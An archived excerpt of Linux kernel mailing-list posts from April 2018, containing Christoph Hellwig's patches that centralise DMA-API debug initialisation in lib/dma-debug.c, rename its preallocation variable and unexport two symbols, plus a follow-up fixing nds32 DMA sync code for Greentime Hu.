+++ b/arch/s390/pci/pci_dma.c
@@ -668,15 +668,6 @@ void zpci_dma_exit(void)
 	kmem_cache_destroy(dma_region_table_cache);
 }
 
-#define PREALLOC_DMA_DEBUG_ENTRIES	(1 << 16)
-
-static int __init dma_debug_do_init(void)
-{
-	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
-	return 0;
-}
-fs_initcall(dma_debug_do_init);
-
 const struct dma_map_ops s390_pci_dma_ops = {
 	.alloc		= s390_dma_alloc,
 	.free		= s390_dma_free,
diff --git a/arch/sh/mm/consistent.c b/arch/sh/mm/consistent.c
index 8ce98691d822..35ea3099a3b6 100644
--- a/arch/sh/mm/consistent.c
+++ b/arch/sh/mm/consistent.c
@@ -20,18 +20,9 @@
 #include <asm/cacheflush.h>
 #include <asm/addrspace.h>
 
-#define PREALLOC_DMA_DEBUG_ENTRIES	4096
-
 const struct dma_map_ops *dma_ops;
 EXPORT_SYMBOL(dma_ops);
 
-static int __init dma_init(void)
-{
-	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
-	return 0;
-}
-fs_initcall(dma_init);
-
 void *dma_generic_alloc_coherent(struct device *dev, size_t size,
 				 dma_addr_t *dma_handle, gfp_t gfp,
 				 unsigned long attrs)
diff --git a/arch/sparc/kernel/Makefile b/arch/sparc/kernel/Makefile
index 76cb57750dda..84cfc5a428d6 100644
--- a/arch/sparc/kernel/Makefile
+++ b/arch/sparc/kernel/Makefile
@@ -74,8 +74,6 @@ obj-$(CONFIG_SPARC64)	+= pcr.o
 obj-$(CONFIG_SPARC64)	+= nmi.o
 obj-$(CONFIG_SPARC64_SMP) += cpumap.o
 
-obj-y                     += dma.o
-
 obj-$(CONFIG_PCIC_PCI)    += pcic.o
 obj-$(CONFIG_LEON_PCI)    += leon_pci.o
 obj-$(CONFIG_SPARC_GRPCI2)+= leon_pci_grpci2.o
diff --git a/arch/sparc/kernel/dma.c b/arch/sparc/kernel/dma.c
deleted file mode 100644
index f73e7597c971..000000000000
--- a/arch/sparc/kernel/dma.c
+++ /dev/null
@@ -1,13 +0,0 @@
-// SPDX-License-Identifier: GPL-2.0
-#include <linux/kernel.h>
-#include <linux/dma-mapping.h>
-#include <linux/dma-debug.h>
-
-#define PREALLOC_DMA_DEBUG_ENTRIES       (1 << 15)
-
-static int __init dma_init(void)
-{
-	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
-	return 0;
-}
-fs_initcall(dma_init);
diff --git a/arch/x86/kernel/pci-dma.c b/arch/x86/kernel/pci-dma.c
index 77625b60a510..bcbaa2e8031e 100644
--- a/arch/x86/kernel/pci-dma.c
+++ b/arch/x86/kernel/pci-dma.c
@@ -55,9 +55,6 @@ struct device x86_dma_fallback_dev = {
 };
 EXPORT_SYMBOL(x86_dma_fallback_dev);
 
-/* Number of entries preallocated for DMA-API debugging */
-#define PREALLOC_DMA_DEBUG_ENTRIES       65536
-
 void __init pci_iommu_alloc(void)
 {
 	struct iommu_table_entry *p;
@@ -189,7 +186,6 @@ EXPORT_SYMBOL(arch_dma_supported);
 static int __init pci_iommu_init(void)
 {
 	struct iommu_table_entry *p;
-	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
 
 #ifdef CONFIG_PCI
 	dma_debug_add_bus(&pci_bus_type);
diff --git a/arch/xtensa/kernel/pci-dma.c b/arch/xtensa/kernel/pci-dma.c
index 732631ce250f..392b4a80ebc2 100644
--- a/arch/xtensa/kernel/pci-dma.c
+++ b/arch/xtensa/kernel/pci-dma.c
@@ -261,12 +261,3 @@ const struct dma_map_ops xtensa_dma_map_ops = {
 	.mapping_error = xtensa_dma_mapping_error,
 };
 EXPORT_SYMBOL(xtensa_dma_map_ops);
-
-#define PREALLOC_DMA_DEBUG_ENTRIES (1 << 16)
-
-static int __init xtensa_dma_init(void)
-{
-	dma_debug_init(PREALLOC_DMA_DEBUG_ENTRIES);
-	return 0;
-}
-fs_initcall(xtensa_dma_init);
diff --git a/include/linux/dma-debug.h b/include/linux/dma-debug.h
index c7d844f09c3a..a785f2507159 100644
--- a/include/linux/dma-debug.h
+++ b/include/linux/dma-debug.h
@@ -30,8 +30,6 @@ struct bus_type;
 
 extern void dma_debug_add_bus(struct bus_type *bus);
 
-extern void dma_debug_init(u32 num_entries);
-
 extern int dma_debug_resize_entries(u32 num_entries);
 
 extern void debug_dma_map_page(struct device *dev, struct page *page,
@@ -100,10 +98,6 @@ static inline void dma_debug_add_bus(struct bus_type *bus)
 {
 }
 
-static inline void dma_debug_init(u32 num_entries)
-{
-}
-
 static inline int dma_debug_resize_entries(u32 num_entries)
 {
 	return 0;
diff --git a/lib/dma-debug.c b/lib/dma-debug.c
index 7f5cdc1e6b29..712a897174e4 100644
--- a/lib/dma-debug.c
+++ b/lib/dma-debug.c
@@ -41,6 +41,11 @@
 #define HASH_FN_SHIFT   13
 #define HASH_FN_MASK    (HASH_SIZE - 1)
 
+/* allow architectures to override this if absolutely required */
+#ifndef PREALLOC_DMA_DEBUG_ENTRIES
+#define PREALLOC_DMA_DEBUG_ENTRIES (1 << 16)
+#endif
+
 enum {
 	dma_debug_single,
 	dma_debug_page,
@@ -1004,18 +1009,16 @@ void dma_debug_add_bus(struct bus_type *bus)
 	bus_register_notifier(bus, nb);
 }
 
-/*
- * Let the architectures decide how many entries should be preallocated.
- */
-void dma_debug_init(u32 num_entries)
+static int dma_debug_init(void)
 {
+	u32 num_entries;
 	int i;
 
 	/* Do not use dma_debug_initialized here, since we really want to be
 	 * called to set dma_debug_initialized
 	 */
 	if (global_disable)
-		return;
+		return 0;
 
 	for (i = 0; i < HASH_SIZE; ++i) {
 		INIT_LIST_HEAD(&dma_entry_hash[i].list);
@@ -1026,17 +1029,19 @@ void dma_debug_init(u32 num_entries)
 		pr_err("DMA-API: error creating debugfs entries - disabling\n");
 		global_disable = true;
 
-		return;
+		return 0;
 	}
 
 	if (req_entries)
 		num_entries = req_entries;
+	else
+		num_entries = PREALLOC_DMA_DEBUG_ENTRIES;
 
 	if (prealloc_memory(num_entries) != 0) {
 		pr_err("DMA-API: debugging out of memory error - disabled\n");
 		global_disable = true;
 
-		return;
+		return 0;
 	}
 
 	nr_total_entries = num_free_entries;
@@ -1044,7 +1049,9 @@ void dma_debug_init(u32 num_entries)
 	dma_debug_initialized = true;
 
 	pr_info("DMA-API: debugging enabled by kernel config\n");
+	return 0;
 }
+core_initcall(dma_debug_init);
 
 static __init int dma_debug_cmdline(char *str)
 {
-- 
2.17.0


From - Thu Nov 08 21:41:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH 2/3] dma-debug: simplify counting of preallocated requests
Date: Tue, 24 Apr 2018 16:02:34 +0200
Lines: 66
Approved: news@gmane.org
Message-ID: <20180424140235.9125-3-hch@lst.de>
References: <20180424140235.9125-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1524578470 2738 195.159.176.226 (24 Apr 2018 14:01:10 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 24 Apr 2018 14:01:10 +0000 (UTC)
Cc: linux-arch@vger.kernel.org, Michal Simek <monstr@monstr.eu>,
        Greentime Hu <green.hu@gmail.com>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Apr 24 16:01:04 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fAyVE-0000Ux-3m
	for glk-linux-kernel-4@m.gmane.org; Tue, 24 Apr 2018 16:01:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S933601AbeDXODN (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 24 Apr 2018 10:03:13 -0400
Original-Received: from bombadil.infradead.org ([198.137.202.133]:43058 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S933404AbeDXODB (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 24 Apr 2018 10:03:01 -0400
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=QUH0a68gaSoEHBkkKkLLGw43cUAJLU8T3RebdlHNc9Y=; b=tyNQ8fiXJWtb8zSYEUFEF2fVu
        P0VUoLfxQfEhPe/n6McdL748zkdDQrfHNQIzZXDIRdv77tBIdczkHvBPjLCiCkTSHa6LJswziaLDZ
        r/nze1o6IkRm7Bwp4TK8v6Kg9S0VQ9FPmMy9G6mxs43M1NQ2cS2sEpJFG2o/NVI+nOvp4a41ylgBO
        4xWLUp4hnU0kvyJQJ/Q4hR8doeTK5zV6++s7obPy9E+dZEf1OkpaMmxNGaktDliFWHHmDU/cBiqUk
        NQSeArDWo/1/C+euI+29/oZpDzHyARKt3D4Rq09eDnr3vl2kg05srRfajHHylN6V7HUewWfMfjllG
    
Original-Received: from 80-109-164-210.cable.dynamic.surfer.at ([80.109.164.210] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
        id 1fAyWq-0006W7-Nw; Tue, 24 Apr 2018 14:02:45 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180424140235.9125-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2749862 gmane.linux.kernel.iommu:23859 gmane.linux.kernel.cross-arch:43654 gmane.linux.ports.alpha:4991 gmane.linux.kernel.arc:3832 gmane.linux.ports.arm.kernel:645621 gmane.linux.ports.hexagon:1673 gmane.linux.ports.parisc:28560 gmane.linux.ports.sh.devel:56912 gmane.linux.ports.sparc:27760
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2749862>

Just keep a single variable with a descriptive name instead of two
with confusing names.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 lib/dma-debug.c | 20 ++++----------------
 1 file changed, 4 insertions(+), 16 deletions(-)

diff --git a/lib/dma-debug.c b/lib/dma-debug.c
index 712a897174e4..075253cb613b 100644
--- a/lib/dma-debug.c
+++ b/lib/dma-debug.c
@@ -132,7 +132,7 @@ static u32 min_free_entries;
 static u32 nr_total_entries;
 
 /* number of preallocated entries requested by kernel cmdline */
-static u32 req_entries;
+static u32 nr_prealloc_entries = PREALLOC_DMA_DEBUG_ENTRIES;
 
 /* debugfs dentry's for the stuff above */
 static struct dentry *dma_debug_dent        __read_mostly;
@@ -1011,7 +1011,6 @@ void dma_debug_add_bus(struct bus_type *bus)
 
 static int dma_debug_init(void)
 {
-	u32 num_entries;
 	int i;
 
 	/* Do not use dma_debug_initialized here, since we really want to be
@@ -1032,12 +1031,7 @@ static int dma_debug_init(void)
 		return 0;
 	}
 
-	if (req_entries)
-		num_entries = req_entries;
-	else
-		num_entries = PREALLOC_DMA_DEBUG_ENTRIES;
-
-	if (prealloc_memory(num_entries) != 0) {
+	if (prealloc_memory(nr_prealloc_entries) != 0) {
 		pr_err("DMA-API: debugging out of memory error - disabled\n");
 		global_disable = true;
 
@@ -1068,16 +1062,10 @@ static __init int dma_debug_cmdline(char *str)
 
 static __init int dma_debug_entries_cmdline(char *str)
 {
-	int res;
-
 	if (!str)
 		return -EINVAL;
-
-	res = get_option(&str, &req_entries);
-
-	if (!res)
-		req_entries = 0;
-
+	if (!get_option(&str, &nr_prealloc_entries))
+		nr_prealloc_entries = PREALLOC_DMA_DEBUG_ENTRIES;
 	return 0;
 }
 
-- 
2.17.0



From - Thu Nov 08 21:41:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.hexagon,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel
Subject: [PATCH 3/3] dma-debug: unexport dma_debug_resize_entries and
	debug_dma_dump_mappings
Date: Tue, 24 Apr 2018 16:02:35 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <20180424140235.9125-4-hch@lst.de>
References: <20180424140235.9125-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1524578475 3141 195.159.176.226 (24 Apr 2018 14:01:15 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 24 Apr 2018 14:01:15 +0000 (UTC)
Cc: linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>,
	Vincent Chen <deanbo422-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org,
	Greentime Hu <green.hu-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org
To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Tue Apr 24 16:01:10 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fAyVJ-0000gz-FX
	for glki-iommu@m.gmane.org; Tue, 24 Apr 2018 16:01:09 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id B383571F;
	Tue, 24 Apr 2018 14:03:07 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 8EDFD5B1
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue, 24 Apr 2018 14:03:06 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from bombadil.infradead.org (bombadil.infradead.org
	[198.137.202.133])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 15221148
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Tue, 24 Apr 2018 14:03:06 +0000 (UTC)
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=infradead.org; s=bombadil.20170209;
	h=References:In-Reply-To:Message-Id:
	Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
	List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
	bh=8kQIUw9gDSQdMU1a+kOuWQ9BDQ4IsqyN6cHgGWD6rWA=;
	b=Flqp82OQKjnL87udDGFvKjqwn
	trv4XvKR2UPrQVhAazweKB3odeSUDKwy99ssnylB262JfgE20sVU9IVddHZtteg7RFpz5SzmxtFRc
	43azaV4l3DgGAaQGD0SDTcR87tBJOMfpc5H2cPwzeVGLicMzZ/XOabT+kX5j92T6xJxNc4/Vwo0fs
	J16gCxuVmVuQ0JFoKgSROCcumNHrAi9ee2kyFozbP3dInvDVCUTaI4fbrVxWMqzmXPoQdVUxYzcJU
	A861oi/O8xx7uSzKVmLQEnjSPKlI8/yFzNVFmZUwXyaN+m8/tCTRKxoaHlvZarBF9F+rU/CZ+kjuB
	v4qonGSlQ==;
Original-Received: from 80-109-164-210.cable.dynamic.surfer.at ([80.109.164.210]
	helo=localhost)
	by bombadil.infradead.org with esmtpsa (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fAyWt-0006Wk-Nx; Tue, 24 Apr 2018 14:02:48 +0000
X-Mailer: git-send-email 2.17.0
In-Reply-To: <20180424140235.9125-1-hch-jcswGhMUV9g@public.gmane.org>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org> by
	bombadil.infradead.org. See http://www.infradead.org/rpr.html
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:23860 gmane.linux.kernel.cross-arch:43655 gmane.linux.ports.parisc:28561 gmane.linux.ports.sh.devel:56913 gmane.linux.ports.hexagon:1674 gmane.linux.kernel:2749863 gmane.linux.ports.alpha:4992 gmane.linux.ports.sparc:27761 gmane.linux.kernel.arc:3833 gmane.linux.ports.arm.kernel:645622
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/23860>

Only used by the AMD GART driver, which must be built in.

Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
---
 lib/dma-debug.c | 2 --
 1 file changed, 2 deletions(-)

diff --git a/lib/dma-debug.c b/lib/dma-debug.c
index 075253cb613b..6a1ebaa83623 100644
--- a/lib/dma-debug.c
+++ b/lib/dma-debug.c
@@ -444,7 +444,6 @@ void debug_dma_dump_mappings(struct device *dev)
 		spin_unlock_irqrestore(&bucket->lock, flags);
 	}
 }
-EXPORT_SYMBOL(debug_dma_dump_mappings);
 
 /*
  * For each mapping (initial cacheline in the case of
@@ -753,7 +752,6 @@ int dma_debug_resize_entries(u32 num_entries)
 
 	return ret;
 }
-EXPORT_SYMBOL(dma_debug_resize_entries);
 
 /*
  * DMA-API debugging init code
-- 
2.17.0


From - Thu Nov 08 21:41:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH 13/22] nds32: use generic dma_noncoherent_ops
Date: Tue, 24 Apr 2018 21:16:40 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <20180424191640.GA32495@lst.de>
References: <20180420080313.18796-1-hch@lst.de> <20180420080313.18796-14-hch@lst.de> <CAEbi=3fkakVD2vxGu6SgJM77JnNM8Y79xS8_o6m9d_85BJpMFQ@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1524597192 21484 195.159.176.226 (24 Apr 2018 19:13:12 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 24 Apr 2018 19:13:12 +0000 (UTC)
User-Agent: Mutt/1.5.17 (2007-11-01)
Cc: Christoph Hellwig <hch@lst.de>,
        linux-arch <linux-arch@vger.kernel.org>,
        Michal Simek <monstr@monstr.eu>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux <sparclinux@vger.kernel.org>,
        linux-xtensa@linux-xtensa.org,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
To: Greentime Hu <green.hu@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Apr 24 21:13:07 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fB3NC-0005Tz-V9
	for glk-linux-kernel-4@m.gmane.org; Tue, 24 Apr 2018 21:13:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751740AbeDXTPQ (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Tue, 24 Apr 2018 15:15:16 -0400
Original-Received: from verein.lst.de ([213.95.11.211]:32796 "EHLO newverein.lst.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751417AbeDXTPK (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Tue, 24 Apr 2018 15:15:10 -0400
Original-Received: by newverein.lst.de (Postfix, from userid 2407)
        id A3A4868DB7; Tue, 24 Apr 2018 21:16:40 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <CAEbi=3fkakVD2vxGu6SgJM77JnNM8Y79xS8_o6m9d_85BJpMFQ@mail.gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2750264 gmane.linux.kernel.cross-arch:43669 gmane.linux.ports.alpha:4993 gmane.linux.kernel.arc:3835 gmane.linux.ports.arm.kernel:645750 gmane.linux.ports.hexagon:1675 gmane.linux.ports.parisc:28562 gmane.linux.ports.sh.devel:56914 gmane.linux.ports.sparc:27763
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2750264>

Hi Greentime,

thanks for testing the patch!

It looks like nds32 doesn't have a buildbot yet, so this code didn't
even get syntax checkin, sorry.

Below is the incremental fixes based on this thread.

Can you check if my tree works if you just revert the
"nds32: use generic dma_noncoherent_ops" commit?

diff --git a/arch/nds32/kernel/dma.c b/arch/nds32/kernel/dma.c
index 688f1a03dee6..48018275e7f4 100644
--- a/arch/nds32/kernel/dma.c
+++ b/arch/nds32/kernel/dma.c
@@ -330,7 +330,7 @@ void arch_sync_dma_for_device(struct device *dev, phys_addr_t paddr,
 	void *addr = kmap_atomic_pfn(PHYS_PFN(paddr));
 	unsigned long start = (unsigned long)addr;
 
-	switch (direction) {
+	switch (dir) {
 	case DMA_FROM_DEVICE:
 		break;
 	case DMA_TO_DEVICE:
@@ -350,12 +350,12 @@ void arch_sync_dma_for_cpu(struct device *dev, phys_addr_t paddr,
 	void *addr = kmap_atomic_pfn(PHYS_PFN(paddr));
 	unsigned long start = (unsigned long)addr;
 
-	switch (direction) {
+	switch (dir) {
 	case DMA_TO_DEVICE:
 		break;
 	case DMA_FROM_DEVICE:
 	case DMA_BIDIRECTIONAL:
-		cpu_dma_inval_range(start, end);
+		cpu_dma_inval_range(start, start + size);
 		break;
 	default:
 		BUG();


From - Thu Nov 08 21:41:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Greentime Hu <green.hu@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: Re: [PATCH 13/22] nds32: use generic dma_noncoherent_ops
Date: Wed, 25 Apr 2018 09:43:43 +0800
Lines: 54
Approved: news@gmane.org
Message-ID: <CAEbi=3f7yzE+KAM2GOh6QahC_E6BAUfB3ys3U-WdBSUf3DPZqg@mail.gmail.com>
References: <20180420080313.18796-1-hch@lst.de> <20180420080313.18796-14-hch@lst.de>
 <CAEbi=3fkakVD2vxGu6SgJM77JnNM8Y79xS8_o6m9d_85BJpMFQ@mail.gmail.com> <20180424191640.GA32495@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1524620549 19842 195.159.176.226 (25 Apr 2018 01:42:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 25 Apr 2018 01:42:29 +0000 (UTC)
Cc: linux-arch <linux-arch@vger.kernel.org>,
        Michal Simek <monstr@monstr.eu>,
        Vincent Chen <deanbo422@gmail.com>,
        linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org, linux-c6x-dev@linux-c6x.org,
        linux-hexagon@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        nios2-dev@lists.rocketboards.org, openrisc@lists.librecores.org,
        linux-parisc@vger.kernel.org, linux-sh@vger.kernel.org,
        sparclinux <sparclinux@vger.kernel.org>,
        linux-xtensa@linux-xtensa.org,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>
To: Christoph Hellwig <hch@lst.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Apr 25 03:42:24 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
